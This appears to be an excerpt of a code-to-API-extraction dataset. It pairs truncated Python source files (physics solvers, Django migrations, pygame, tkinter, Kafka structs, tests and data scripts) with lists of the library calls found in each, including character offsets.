code stringlengths 22 1.05M | apis listlengths 1 3.31k | extract_api stringlengths 75 3.25M |
|---|---|---|
import autograd.numpy as np
from pyCHAMP.wavefunction.wf_base import WF
from pyCHAMP.optimizer.minimize import Minimize
from pyCHAMP.sampler.metropolis import Metropolis
from pyCHAMP.sampler.hamiltonian import Hamiltonian
from pyCHAMP.solver.vmc import VMC
class Hydrogen(WF):
def __init__(self, nelec, ndim):
... | [
"autograd.numpy.sum",
"pyCHAMP.sampler.hamiltonian.Hamiltonian",
"autograd.numpy.exp",
"pyCHAMP.wavefunction.wf_base.WF.__init__",
"pyCHAMP.solver.vmc.VMC",
"pyCHAMP.optimizer.minimize.Minimize",
"pyCHAMP.sampler.metropolis.Metropolis"
] | [((1055, 1157), 'pyCHAMP.sampler.metropolis.Metropolis', 'Metropolis', ([], {'nwalkers': '(1000)', 'nstep': '(1000)', 'step_size': '(3)', 'nelec': '(1)', 'ndim': '(3)', 'domain': "{'min': -5, 'max': 5}"}), "(nwalkers=1000, nstep=1000, step_size=3, nelec=1, ndim=3, domain=\n {'min': -5, 'max': 5})\n", (1065, 1157), F... |
from braintree.configuration import Configuration
from braintree.resource import Resource
class AccountUpdaterDailyReport(Resource):
def __init__(self, gateway, attributes):
Resource.__init__(self, gateway, attributes)
if "report_url" in attributes:
self.report_url = attributes.pop("re... | [
"braintree.resource.Resource.__init__"
] | [((188, 232), 'braintree.resource.Resource.__init__', 'Resource.__init__', (['self', 'gateway', 'attributes'], {}), '(self, gateway, attributes)\n', (205, 232), False, 'from braintree.resource import Resource\n')] |
import pygame
import pygame.gfxdraw
from constants import Constants
class Balls(object):
def __init__(self, all_sprites, all_balls):
self.all_sprites = all_sprites
self.all_balls = all_balls
def spawn_ball(self, pos, vel, team):
# Todo: Figure out how to spawn multiple balls with some... | [
"pygame.draw.circle",
"pygame.Surface"
] | [((851, 926), 'pygame.Surface', 'pygame.Surface', (['[Constants.BALL_SIZE, Constants.BALL_SIZE]', 'pygame.SRCALPHA'], {}), '([Constants.BALL_SIZE, Constants.BALL_SIZE], pygame.SRCALPHA)\n', (865, 926), False, 'import pygame\n'), ((935, 1008), 'pygame.draw.circle', 'pygame.draw.circle', (['self.image', 'self.file', '(se... |
from unittest import TestCase
from options.pricing.binomial_trees import BinomialTreePricer
from options.option import OptionType, Option
class BinomialTreeTestCase(TestCase):
def test_basic(self):
"""European option, spot price 50, strike price 52, risk free interest rate 5%
expiry 2 years, vo... | [
"options.option.Option",
"options.pricing.binomial_trees.BinomialTreePricer"
] | [((362, 391), 'options.pricing.binomial_trees.BinomialTreePricer', 'BinomialTreePricer', ([], {'steps': '(100)'}), '(steps=100)\n', (380, 391), False, 'from options.pricing.binomial_trees import BinomialTreePricer\n'), ((409, 453), 'options.option.Option', 'Option', (['OptionType.PUT', '(50)', '(52)', '(0.05)', '(2)', ... |
import atexit
import os
import sys
import platform
import json
import glob
import datetime
import time
import threading
import tkinter as tk
from pynput import mouse
from pathlib import Path
from playsound import playsound
from enum import Enum
import copy
#"THE BEER-WARE LICENSE" (Revision 42):
#bleach86 wrote this ... | [
"time.sleep",
"tkinter.Label",
"sys.exit",
"copy.deepcopy",
"datetime.timedelta",
"os.listdir",
"pathlib.Path",
"tkinter.StringVar",
"platform.system",
"atexit.register",
"glob.glob",
"os.path.expanduser",
"pathlib.Path.cwd",
"pynput.mouse.Listener.stop",
"time.time",
"pynput.mouse.Lis... | [((1890, 1900), 'pathlib.Path.cwd', 'Path.cwd', ([], {}), '()\n', (1898, 1900), False, 'from pathlib import Path\n'), ((1930, 1947), 'platform.system', 'platform.system', ([], {}), '()\n', (1945, 1947), False, 'import platform\n'), ((2244, 2251), 'tkinter.Tk', 'tk.Tk', ([], {}), '()\n', (2249, 2251), True, 'import tkin... |
""" Other useful structs """
from __future__ import absolute_import
from collections import namedtuple
"""A topic and partition tuple
Keyword Arguments:
topic (str): A topic name
partition (int): A partition id
"""
TopicPartition = namedtuple("TopicPartition",
["topic", "partition"])
"""A Kafka broker... | [
"collections.namedtuple"
] | [((244, 296), 'collections.namedtuple', 'namedtuple', (['"""TopicPartition"""', "['topic', 'partition']"], {}), "('TopicPartition', ['topic', 'partition'])\n", (254, 296), False, 'from collections import namedtuple\n'), ((693, 757), 'collections.namedtuple', 'namedtuple', (['"""BrokerMetadata"""', "['nodeId', 'host', '... |
import cv2
from trackers.tracker import create_blob, add_new_blobs, remove_duplicates
import numpy as np
from collections import OrderedDict
from detectors.detector import get_bounding_boxes
import uuid
import os
import contextlib
from datetime import datetime
import argparse
from utils.detection_roi import get_roi_fra... | [
"cv2.rectangle",
"cv2.imshow",
"cv2.destroyAllWindows",
"trackers.tracker.create_blob",
"os.remove",
"trackers.tracker.remove_duplicates",
"utils.detection_roi.draw_roi",
"argparse.ArgumentParser",
"utils.detection_roi.get_roi_frame",
"cv2.line",
"counter.get_counting_line",
"contextlib.suppre... | [((429, 454), 'argparse.ArgumentParser', 'argparse.ArgumentParser', ([], {}), '()\n', (452, 454), False, 'import argparse\n'), ((2403, 2426), 'cv2.VideoCapture', 'cv2.VideoCapture', (['video'], {}), '(video)\n', (2419, 2426), False, 'import cv2\n'), ((2468, 2481), 'collections.OrderedDict', 'OrderedDict', ([], {}), '()... |
# Copyright 2018 Contributors to Hyperledger Sawtooth
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law ... | [
"requests.post",
"tests.rbac.helper.api.role.member.propose.url",
"tests.rbac.api.assertions.assert_api_success",
"tests.rbac.helper.api.proposal.get",
"tests.rbac.helper.api.role.create.new",
"time.sleep",
"tests.rbac.api.assertions.assert_api_error",
"tests.rbac.api.assertions.assert_api_post_requir... | [((1053, 1073), 'rbac.common.logs.get_logger', 'get_logger', (['__name__'], {}), '(__name__)\n', (1063, 1073), False, 'from rbac.common.logs import get_logger\n'), ((1264, 1302), 'tests.rbac.helper.api.role.create.new', 'helper.api.role.create.new', ([], {'user': 'owner'}), '(user=owner)\n', (1290, 1302), False, 'from ... |
import cv2
import os
import numpy as np
from PIL import Image
def frame2video(im_dir, video_dir, fps):
im_list = os.listdir(im_dir)
im_list.sort(key=lambda x: int(x.replace("_RBPNF7", "").split('.')[0]))
img = Image.open(os.path.join(im_dir, im_list[0]))
img_size = img.size # 获得图片分辨率,im_dir文件夹下的图片分辨率... | [
"numpy.fromfile",
"os.listdir",
"os.path.join",
"cv2.VideoWriter",
"cv2.VideoWriter_fourcc"
] | [((119, 137), 'os.listdir', 'os.listdir', (['im_dir'], {}), '(im_dir)\n', (129, 137), False, 'import os\n'), ((338, 369), 'cv2.VideoWriter_fourcc', 'cv2.VideoWriter_fourcc', (["*'XVID'"], {}), "(*'XVID')\n", (360, 369), False, 'import cv2\n'), ((388, 437), 'cv2.VideoWriter', 'cv2.VideoWriter', (['video_dir', 'fourcc', ... |
# coding: utf-8
import click
@click.command()
@click.option('--carrier', prompt='Carrier ID', help='Example: "ect" for Correios')
@click.option('--object-id', prompt='Object ID',
help='Example: PN871429404BR')
def main(carrier, object_id):
from trackr import Trackr
from trackr.exceptions import ... | [
"click.option",
"click.command",
"trackr.Trackr.track",
"click.style"
] | [((32, 47), 'click.command', 'click.command', ([], {}), '()\n', (45, 47), False, 'import click\n'), ((49, 136), 'click.option', 'click.option', (['"""--carrier"""'], {'prompt': '"""Carrier ID"""', 'help': '"""Example: "ect" for Correios"""'}), '(\'--carrier\', prompt=\'Carrier ID\', help=\n \'Example: "ect" for Corr... |
# This file was automatically created by FeynRules 2.3.32
# Mathematica version: 11.3.0 for Mac OS X x86 (64-bit) (March 7, 2018)
# Date: Sat 21 Apr 2018 20:48:39
from object_library import all_parameters, Parameter
from function_library import complexconjugate, re, im, csc, sec, acsc, asec, cot
# This is a defau... | [
"object_library.Parameter"
] | [((363, 448), 'object_library.Parameter', 'Parameter', ([], {'name': '"""ZERO"""', 'nature': '"""internal"""', 'type': '"""real"""', 'value': '"""0.0"""', 'texname': '"""0"""'}), "(name='ZERO', nature='internal', type='real', value='0.0', texname='0'\n )\n", (372, 448), False, 'from object_library import all_paramet... |
from cspatterns.datastructures import buffer
def test_circular_buffer():
b = buffer.CircularBuffer(2, ['n'])
assert len(b.next) == 2
assert b.n is None
b = buffer.CircularBuffer.create(2, attrs=['n', 'fib'])
curr = b
out = [0, 1, ]
curr.prev[-2].n = 0
curr.prev[-2].fib = 1
curr... | [
"cspatterns.datastructures.buffer.CircularBuffer",
"cspatterns.datastructures.buffer.CircularBuffer.create"
] | [((82, 113), 'cspatterns.datastructures.buffer.CircularBuffer', 'buffer.CircularBuffer', (['(2)', "['n']"], {}), "(2, ['n'])\n", (103, 113), False, 'from cspatterns.datastructures import buffer\n'), ((174, 225), 'cspatterns.datastructures.buffer.CircularBuffer.create', 'buffer.CircularBuffer.create', (['(2)'], {'attrs'... |
# Generated by Django 2.1.7 on 2019-02-17 14:50
from django.db import migrations, models
class Migration(migrations.Migration):
initial = True
dependencies = [
]
operations = [
migrations.CreateModel(
name='RedactedClientConfig',
fields=[
('id', mode... | [
"django.db.models.TextField",
"django.db.models.BooleanField",
"django.db.models.AutoField",
"django.db.models.DateTimeField",
"django.db.models.CharField"
] | [((316, 409), 'django.db.models.AutoField', 'models.AutoField', ([], {'auto_created': '(True)', 'primary_key': '(True)', 'serialize': '(False)', 'verbose_name': '"""ID"""'}), "(auto_created=True, primary_key=True, serialize=False,\n verbose_name='ID')\n", (332, 409), False, 'from django.db import migrations, models\... |
from mpl_toolkits.basemap import Basemap
import matplotlib.pyplot as plt
import matplotlib.colors as colors
from numpy import array
from numpy import max
map = Basemap(llcrnrlon=-0.5,llcrnrlat=39.8,urcrnrlon=4.,urcrnrlat=43.,
resolution='i', projection='tmerc', lat_0 = 39.5, lon_0 = 1)
map.readshapefil... | [
"matplotlib.pyplot.show",
"numpy.array",
"mpl_toolkits.basemap.Basemap",
"matplotlib.pyplot.figure",
"matplotlib.colors.LogNorm"
] | [((162, 293), 'mpl_toolkits.basemap.Basemap', 'Basemap', ([], {'llcrnrlon': '(-0.5)', 'llcrnrlat': '(39.8)', 'urcrnrlon': '(4.0)', 'urcrnrlat': '(43.0)', 'resolution': '"""i"""', 'projection': '"""tmerc"""', 'lat_0': '(39.5)', 'lon_0': '(1)'}), "(llcrnrlon=-0.5, llcrnrlat=39.8, urcrnrlon=4.0, urcrnrlat=43.0,\n resol... |
import html
from collections import namedtuple
from pathlib import Path
from typing import List, Dict
import requests
from bs4 import BeautifulSoup
from lxml import etree
from lxml.etree import XPath
Emoji = namedtuple('Emoji', 'char name')
class EmojiExtractor(object):
def __init__(self):
self.all_emo... | [
"collections.namedtuple",
"lxml.etree.XPath",
"pathlib.Path",
"requests.get",
"html.find",
"bs4.BeautifulSoup",
"lxml.etree.fromstring",
"html.escape"
] | [((210, 242), 'collections.namedtuple', 'namedtuple', (['"""Emoji"""', '"""char name"""'], {}), "('Emoji', 'char name')\n", (220, 242), False, 'from collections import namedtuple\n'), ((584, 675), 'requests.get', 'requests.get', (['"""https://unicode.org/emoji/charts-14.0/full-emoji-list.html"""'], {'timeout': '(120)'}... |
#!/usr/bin/env python3
"""
@author: <NAME>
MySql Parser for graphical presentation
"""
import mysql.connector
import datetime
from mysql.connector import Error
from datetime import datetime, timedelta
import json
class sql_graph_info():
def __init__(self, node, interface, time, sql_creds, db):
"""
... | [
"datetime.datetime.now",
"datetime.timedelta"
] | [((1161, 1175), 'datetime.datetime.now', 'datetime.now', ([], {}), '()\n', (1173, 1175), False, 'from datetime import datetime, timedelta\n'), ((1225, 1239), 'datetime.datetime.now', 'datetime.now', ([], {}), '()\n', (1237, 1239), False, 'from datetime import datetime, timedelta\n'), ((1242, 1272), 'datetime.timedelta'... |
# test_fluxqubit.py
# meant to be run with 'pytest'
#
# This file is part of scqubits.
#
# Copyright (c) 2019 and later, <NAME> and <NAME>
# All rights reserved.
#
# This source code is licensed under the BSD-style license found in the
# LICENSE file in the root directory of this source tree.
##############... | [
"numpy.linspace"
] | [((788, 815), 'numpy.linspace', 'np.linspace', (['(0.45)', '(0.55)', '(50)'], {}), '(0.45, 0.55, 50)\n', (799, 815), True, 'import numpy as np\n')] |
# -*- coding: utf-8 -*-
# FOGLAMP_BEGIN
# See: http://foglamp.readthedocs.io/
# FOGLAMP_END
import os
import asyncio
import json
from unittest.mock import MagicMock, patch
from collections import Counter
from aiohttp import web
import pytest
from foglamp.services.core import routes
from foglamp.services.core import ... | [
"json.loads",
"pytest.allure.feature",
"unittest.mock.MagicMock",
"aiohttp.web.Application",
"foglamp.services.core.api.backup_restore._get_status",
"pytest.allure.story",
"collections.Counter",
"pytest.mark.parametrize",
"os.path.realpath",
"unittest.mock.patch.object",
"foglamp.services.core.r... | [((885, 914), 'pytest.allure.feature', 'pytest.allure.feature', (['"""unit"""'], {}), "('unit')\n", (906, 914), False, 'import pytest\n'), ((916, 952), 'pytest.allure.story', 'pytest.allure.story', (['"""api"""', '"""backup"""'], {}), "('api', 'backup')\n", (935, 952), False, 'import pytest\n'), ((10456, 10485), 'pytes... |
from calendar import c
from typing import Dict, List, Union
from zlib import DEF_BUF_SIZE
import json_lines
import numpy as np
import re
from sklearn.preprocessing import MultiLabelBinarizer
from sklearn.manifold import TSNE
from sklearn.preprocessing import StandardScaler
import pandas as pd
import json
from scipy.spa... | [
"sklearn.manifold.TSNE",
"numpy.diag",
"sklearn.preprocessing.StandardScaler",
"os.path.dirname",
"os.chdir",
"numpy.array",
"scipy.sparse.linalg.svds",
"scipy.spatial.distance.chebyshev",
"pandas.DataFrame",
"re.sub",
"sklearn.preprocessing.MultiLabelBinarizer"
] | [((1288, 1309), 'sklearn.preprocessing.MultiLabelBinarizer', 'MultiLabelBinarizer', ([], {}), '()\n', (1307, 1309), False, 'from sklearn.preprocessing import MultiLabelBinarizer\n'), ((1442, 1481), 'sklearn.manifold.TSNE', 'TSNE', ([], {'n_components': '(2)', 'learning_rate': '(200)'}), '(n_components=2, learning_rate=... |
#!/usr/bin/env python
#
# Copyright (c) 2018, Pycom Limited.
#
# This software is licensed under the GNU GPL version 3 or any
# later version, with permitted additional terms. For more information
# see the Pycom Licence v1.0 document supplied with this file, or
# available at https://www.pycom.io/opensource/licensing
... | [
"os.path.exists",
"sqlite3.connect",
"argparse.ArgumentParser",
"flash_lpwan_mac.program_board",
"subprocess.Popen",
"csv.writer",
"time.sleep",
"run_qa_wipy_test.test_board",
"sys.exc_info",
"sys.exit",
"threading.Thread",
"sys.stdout.flush",
"sys.stdout.write"
] | [((1169, 1197), 'sqlite3.connect', 'sqlite3.connect', (['db_filename'], {}), '(db_filename)\n', (1184, 1197), False, 'import sqlite3\n'), ((1752, 1827), 'subprocess.Popen', 'subprocess.Popen', (['command'], {'stdout': 'subprocess.PIPE', 'stderr': 'subprocess.STDOUT'}), '(command, stdout=subprocess.PIPE, stderr=subproce... |
import datetime
from django.utils import timezone
from django.contrib.auth.models import User
from hknweb.events.models import Event, EventType, Rsvp
class ModelFactory:
@staticmethod
def create_user(**kwargs):
default_kwargs = {
"username": "default username",
}
kwargs =... | [
"hknweb.events.models.Rsvp.objects.create",
"hknweb.events.models.Event.objects.create",
"datetime.timedelta",
"django.utils.timezone.now",
"django.contrib.auth.models.User.objects.create",
"hknweb.events.models.EventType.objects.create"
] | [((365, 394), 'django.contrib.auth.models.User.objects.create', 'User.objects.create', ([], {}), '(**kwargs)\n', (384, 394), False, 'from django.contrib.auth.models import User\n'), ((591, 625), 'hknweb.events.models.EventType.objects.create', 'EventType.objects.create', ([], {}), '(**kwargs)\n', (615, 625), False, 'fr... |
"""
1. Clarification
2. Possible solutions
- dfs + memoization
- Topological sort
3. Coding
4. Tests
"""
# T=O(m*n), S=O(m*n)
from functools import lru_cache
class Solution:
DIRS = [(-1, 0), (1, 0), (0, -1), (0, 1)]
def longestIncreasingPath(self, matrix: List[List[int]]) -> int:
if not mat... | [
"functools.lru_cache"
] | [((356, 371), 'functools.lru_cache', 'lru_cache', (['None'], {}), '(None)\n', (365, 371), False, 'from functools import lru_cache\n')] |
#!/usr/bin/env python
#coding=utf-8
'''
Remove tailing whitespaces and ensures one and only one empty ending line.
'''
import os, re
def scan(*dirs, **kwargs):
files = []
extensions = kwargs['extensions'] if kwargs.has_key('extensions') else None
excludes = kwargs['excludes'] if kwargs.has_key('excludes') else... | [
"os.path.splitext",
"os.path.join",
"os.path.dirname",
"re.sub",
"os.walk"
] | [((380, 392), 'os.walk', 'os.walk', (['top'], {}), '(top)\n', (387, 392), False, 'import os, re\n'), ((1065, 1092), 'os.path.join', 'os.path.join', (['root', '"""cocos"""'], {}), "(root, 'cocos')\n", (1077, 1092), False, 'import os, re\n'), ((1098, 1130), 'os.path.join', 'os.path.join', (['root', '"""extensions"""'], {... |
# -*- coding: utf-8 -*-
"""
Unit tests for Senna
"""
from __future__ import unicode_literals
from os import environ, path, sep
import logging
import unittest
from nltk.classify import Senna
from nltk.tag import SennaTagger, SennaChunkTagger, SennaNERTagger
# Set Senna executable path for tests if it is not specifie... | [
"os.path.exists",
"nltk.classify.Senna",
"nltk.tag.SennaNERTagger",
"nltk.tag.SennaChunkTagger",
"unittest.skipUnless",
"os.path.normpath",
"nltk.tag.SennaTagger"
] | [((518, 552), 'os.path.exists', 'path.exists', (['SENNA_EXECUTABLE_PATH'], {}), '(SENNA_EXECUTABLE_PATH)\n', (529, 552), False, 'from os import environ, path, sep\n'), ((555, 623), 'unittest.skipUnless', 'unittest.skipUnless', (['senna_is_installed', '"""Requires Senna executable"""'], {}), "(senna_is_installed, 'Requi... |
#-------------------------------------------------------------------------------
#
# Project: EOxServer <http://eoxserver.org>
# Authors: <NAME> <<EMAIL>>
#
#-------------------------------------------------------------------------------
# Copyright (C) 2015 EOX IT Services GmbH
#
# Permission is hereby granted, free o... | [
"eoxserver.core.config.get_eoxserver_config",
"eoxserver.services.opensearch.extensions.get_extensions",
"eoxserver.core.util.xmltools.NameSpaceMap",
"django.shortcuts.get_object_or_404",
"eoxserver.services.opensearch.formats.get_formats",
"django.urls.reverse",
"eoxserver.core.util.xmltools.NameSpace"... | [((2220, 2275), 'eoxserver.core.util.xmltools.NameSpace', 'NameSpace', (['"""http://a9.com/-/spec/opensearch/1.1/"""', 'None'], {}), "('http://a9.com/-/spec/opensearch/1.1/', None)\n", (2229, 2275), False, 'from eoxserver.core.util.xmltools import XMLEncoder, NameSpace, NameSpaceMap\n'), ((2311, 2400), 'eoxserver.core.... |
from pygame import Surface, font
from .basewidget import BaseWidget
from frontend import Renderer, WidgetHandler
class Button(BaseWidget):
action = None
def __init__(self, x, y, texto, action=None):
self.f = font.SysFont('Verdana', 16)
imagen = self.crear(texto)
rect = imagen.get_rect... | [
"frontend.Renderer.add_widget",
"frontend.WidgetHandler.add_widget",
"pygame.font.SysFont",
"pygame.Surface"
] | [((227, 254), 'pygame.font.SysFont', 'font.SysFont', (['"""Verdana"""', '(16)'], {}), "('Verdana', 16)\n", (239, 254), False, 'from pygame import Surface, font\n'), ((384, 412), 'frontend.Renderer.add_widget', 'Renderer.add_widget', (['self', '(1)'], {}), '(self, 1)\n', (403, 412), False, 'from frontend import Renderer... |
import glob
import bs4
import gzip
import pickle
import re
import os
from concurrent.futures import ProcessPoolExecutor as PPE
import json
from pathlib import Path
from hashlib import sha256
import shutil
Path('json').mkdir(exist_ok=True)
def sanitize(text):
text = re.sub(r'(\t|\n|\r)', '', text)
text = re.s... | [
"random.shuffle",
"pathlib.Path",
"shutil.move",
"json.dumps",
"bs4.BeautifulSoup",
"concurrent.futures.ProcessPoolExecutor",
"re.sub",
"glob.glob"
] | [((2929, 2951), 'glob.glob', 'glob.glob', (['"""./htmls/*"""'], {}), "('./htmls/*')\n", (2938, 2951), False, 'import glob\n'), ((2952, 2973), 'random.shuffle', 'random.shuffle', (['files'], {}), '(files)\n', (2966, 2973), False, 'import random\n'), ((273, 306), 're.sub', 're.sub', (['"""(\\\\t|\\\\n|\\\\r)"""', '""""""... |
import functools
import json
from os.path import abspath, dirname, exists, join
from typing import Dict, Sequence
import numpy as np
import pandas as pd
import torch
from pymatgen.core import Composition
from torch.utils.data import Dataset
class CompositionData(Dataset):
def __init__(
self,
df: ... | [
"os.path.exists",
"numpy.atleast_2d",
"torch.LongTensor",
"torch.stack",
"torch.Tensor",
"pymatgen.core.Composition",
"numpy.max",
"numpy.sum",
"torch.tensor",
"numpy.vstack",
"json.load",
"functools.lru_cache",
"os.path.abspath",
"torch.cat"
] | [((2395, 2428), 'functools.lru_cache', 'functools.lru_cache', ([], {'maxsize': 'None'}), '(maxsize=None)\n', (2414, 2428), False, 'import functools\n'), ((4310, 4331), 'torch.Tensor', 'torch.Tensor', (['weights'], {}), '(weights)\n', (4322, 4331), False, 'import torch\n'), ((4351, 4373), 'torch.Tensor', 'torch.Tensor',... |
import unittest
from dq import util
class TestUtil(unittest.TestCase):
def test_safe_cast(self):
assert util.safe_cast('1', int) == 1
assert util.safe_cast('meow', int, 2) == 2
| [
"dq.util.safe_cast"
] | [((120, 144), 'dq.util.safe_cast', 'util.safe_cast', (['"""1"""', 'int'], {}), "('1', int)\n", (134, 144), False, 'from dq import util\n'), ((165, 195), 'dq.util.safe_cast', 'util.safe_cast', (['"""meow"""', 'int', '(2)'], {}), "('meow', int, 2)\n", (179, 195), False, 'from dq import util\n')] |
# coding: utf-8
# Copyright (c) 2016, 2021, Oracle and/or its affiliates. All rights reserved.
# This software is dual-licensed to you under the Universal Permissive License (UPL) 1.0 as shown at https://oss.oracle.com/licenses/upl or Apache License 2.0 as shown at http://www.apache.org/licenses/LICENSE-2.0. You may c... | [
"oci.util.formatted_flat_dict",
"oci.util.value_allowed_none_or_none_sentinel"
] | [((18491, 18516), 'oci.util.formatted_flat_dict', 'formatted_flat_dict', (['self'], {}), '(self)\n', (18510, 18516), False, 'from oci.util import formatted_flat_dict, NONE_SENTINEL, value_allowed_none_or_none_sentinel\n'), ((12440, 12509), 'oci.util.value_allowed_none_or_none_sentinel', 'value_allowed_none_or_none_sent... |
import logging
from typing import Tuple
import bpy
from mathutils import Vector
from .object import get_objs
logger = logging.getLogger(__name__)
class SceneBoundingBox():
"""Scene bounding box, build a bounding box that includes all objects except the excluded ones."""
##################################... | [
"logging.getLogger",
"mathutils.Vector"
] | [((122, 149), 'logging.getLogger', 'logging.getLogger', (['__name__'], {}), '(__name__)\n', (139, 149), False, 'import logging\n'), ((1280, 1332), 'mathutils.Vector', 'Vector', (['(self.center[0], self.center[1], self.z_min)'], {}), '((self.center[0], self.center[1], self.z_min))\n', (1286, 1332), False, 'from mathutil... |
# coding=utf-8
# Copyright 2019 The Tensor2Tensor Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable... | [
"jax.numpy.abs",
"tensor2tensor.trax.trax.get_random_number_generator_and_set_seed",
"absl.logging.info",
"tensor2tensor.trax.optimizers.Adam",
"jax.jit",
"jax.numpy.mean",
"jax.random.split",
"tensor2tensor.trax.layers.LogSoftmax",
"tensorflow.io.gfile.GFile",
"jax.numpy.std",
"absl.logging.vlo... | [((20220, 20263), 'functools.partial', 'functools.partial', (['jit'], {'static_argnums': '(3,)'}), '(jit, static_argnums=(3,))\n', (20237, 20263), False, 'import functools\n'), ((21315, 21363), 'functools.partial', 'functools.partial', (['jit'], {'static_argnums': '(2, 3, 4)'}), '(jit, static_argnums=(2, 3, 4))\n', (21... |
#!/usr/bin/env python
import mirheo as mir
dt = 0.001
ranks = (1, 1, 1)
domain = (8, 16, 8)
force = (1.0, 0, 0)
density = 4
u = mir.Mirheo(ranks, domain, dt, debug_level=3, log_filename='log', no_splash=True)
pv = mir.ParticleVectors.ParticleVector('pv', mass = 1)
ic = mir.InitialConditions.Uniform(number_densit... | [
"mirheo.Interactions.Pairwise",
"mirheo.Mirheo",
"mirheo.Walls.Plane",
"mirheo.ParticleVectors.ParticleVector",
"mirheo.Integrators.VelocityVerlet",
"mirheo.Plugins.createDumpAverage",
"mirheo.InitialConditions.Uniform",
"mirheo.Integrators.VelocityVerlet_withConstForce"
] | [((134, 219), 'mirheo.Mirheo', 'mir.Mirheo', (['ranks', 'domain', 'dt'], {'debug_level': '(3)', 'log_filename': '"""log"""', 'no_splash': '(True)'}), "(ranks, domain, dt, debug_level=3, log_filename='log', no_splash=True\n )\n", (144, 219), True, 'import mirheo as mir\n'), ((221, 269), 'mirheo.ParticleVectors.Partic... |
#!/usr/bin/python
# -*- coding: utf-8 -*-
import abc
import bs4
import functools
import utilities
class Error(Exception):
"""Base exception class that takes a message to display upon raising.
"""
def __init__(self, message=None):
"""Creates an instance of Error.
:type message: str
:param message: A... | [
"functools.wraps"
] | [((1855, 1876), 'functools.wraps', 'functools.wraps', (['func'], {}), '(func)\n', (1870, 1876), False, 'import functools\n')] |
"""p2 core http responses"""
from wsgiref.util import FileWrapper
from django.http import StreamingHttpResponse
from p2.core.constants import ATTR_BLOB_MIME, ATTR_BLOB_SIZE_BYTES
from p2.core.models import Blob
class BlobResponse(StreamingHttpResponse):
"""Directly return blob's content. Optionally return as at... | [
"wsgiref.util.FileWrapper"
] | [((434, 463), 'wsgiref.util.FileWrapper', 'FileWrapper', (['blob', 'chunk_size'], {}), '(blob, chunk_size)\n', (445, 463), False, 'from wsgiref.util import FileWrapper\n')] |
"""
Data: Temperature and Salinity time series from SIO Scripps Pier
Salinity: measured in PSU at the surface (~0.5m) and at depth (~5m)
Temp: measured in degrees C at the surface (~0.5m) and at depth (~5m)
- Timestamp included beginning in 1990
"""
# imports
import sys,os
import pandas as pd
import numpy as... | [
"numpy.mean",
"matplotlib.pyplot.savefig",
"SIO_modules.var_fft",
"pandas.read_csv",
"numpy.polyfit",
"scipy.signal.filtfilt",
"pandas.DataFrame",
"numpy.conj",
"scipy.signal.butter",
"numpy.zeros",
"importlib.reload",
"pandas.read_excel",
"numpy.poly1d",
"matplotlib.pyplot.subplots",
"p... | [((482, 497), 'importlib.reload', 'reload', (['SIO_mod'], {}), '(SIO_mod)\n', (488, 497), False, 'from importlib import reload\n'), ((539, 661), 'pandas.read_csv', 'pd.read_csv', (['"""/Users/MMStoll/Python/Data/Ocean569_Data/SIO_Data/SIO_SALT_1916-201905.txt"""'], {'sep': '"""\t"""', 'skiprows': '(27)'}), "(\n '/Us... |
import numpy as np
def normalize(x):
return x / np.linalg.norm(x)
def norm_sq(v):
return np.dot(v,v)
def norm(v):
return np.linalg.norm(v)
def get_sub_keys(v):
if type(v) is not tuple and type(v) is not list:
return []
return [k for k in v if type(k) is str]
def to_vec3(v):
if isinstance(v, (float, int)):
... | [
"numpy.count_nonzero",
"numpy.array",
"numpy.dot",
"numpy.linalg.norm"
] | [((93, 105), 'numpy.dot', 'np.dot', (['v', 'v'], {}), '(v, v)\n', (99, 105), True, 'import numpy as np\n'), ((127, 144), 'numpy.linalg.norm', 'np.linalg.norm', (['v'], {}), '(v)\n', (141, 144), True, 'import numpy as np\n'), ((50, 67), 'numpy.linalg.norm', 'np.linalg.norm', (['x'], {}), '(x)\n', (64, 67), True, 'import... |
"""
recognize face landmark
"""
import json
import os
import requests
import numpy as np
FACE_POINTS = list(range(0, 83))
JAW_POINTS = list(range(0, 19))
LEFT_EYE_POINTS = list(range(19, 29))
LEFT_BROW_POINTS = list(range(29, 37))
MOUTH_POINTS = list(range(37, 55))
NOSE_POINTS = list(range(55, 65))
RIGHT_EYE_POINTS =... | [
"os.path.isfile",
"json.loads",
"requests.post"
] | [((676, 695), 'os.path.isfile', 'os.path.isfile', (['txt'], {}), '(txt)\n', (690, 695), False, 'import os\n'), ((1519, 1566), 'requests.post', 'requests.post', ([], {'url': 'url', 'files': 'file', 'data': 'params'}), '(url=url, files=file, data=params)\n', (1532, 1566), False, 'import requests\n'), ((798, 819), 'os.pat... |
import requests
import time
from bs4 import BeautifulSoup
import re
def decdeg2dms(dd):
negative = dd < 0
dd = abs(dd)
minutes,seconds = divmod(dd*3600,60)
degrees,minutes = divmod(minutes,60)
if negative:
if degrees > 0:
degrees = -degrees
elif minutes > 0:
... | [
"bs4.BeautifulSoup",
"requests.get",
"time.sleep",
"re.search"
] | [((1154, 1167), 'time.sleep', 'time.sleep', (['(1)'], {}), '(1)\n', (1164, 1167), False, 'import time\n'), ((1177, 1210), 'requests.get', 'requests.get', (['url'], {'params': 'payload'}), '(url, params=payload)\n', (1189, 1210), False, 'import requests\n'), ((1277, 1308), 'bs4.BeautifulSoup', 'BeautifulSoup', (['c', '"... |
# -*- coding:utf-8 -*-
# ------------------------
# written by <NAME>
# 2018-10
# ------------------------
import os
import skimage.io
from skimage.color import rgb2gray
import skimage.transform
from scipy.io import loadmat
import numpy as np
import cv2
import math
import warnings
import random
import torch
import mat... | [
"os.path.exists",
"numpy.multiply",
"skimage.color.rgb2gray",
"math.floor",
"scipy.io.loadmat",
"os.path.join",
"cv2.getGaussianKernel",
"numpy.zeros",
"os.mkdir",
"random.random",
"warnings.filterwarnings"
] | [((342, 375), 'warnings.filterwarnings', 'warnings.filterwarnings', (['"""ignore"""'], {}), "('ignore')\n", (365, 375), False, 'import warnings\n'), ((434, 455), 'numpy.zeros', 'np.zeros', (['image.shape'], {}), '(image.shape)\n', (442, 455), True, 'import numpy as np\n'), ((1505, 1538), 'os.path.join', 'os.path.join',... |
# coding: utf-8
from bigone import BigOneDog
from common import gen_logger
import logging
import time
import json
def strategy_eth_big_bnc_eth(dog):
"""
正向:买BIG/ETH -> 卖BIG/BNC -> 买ETH/BNC
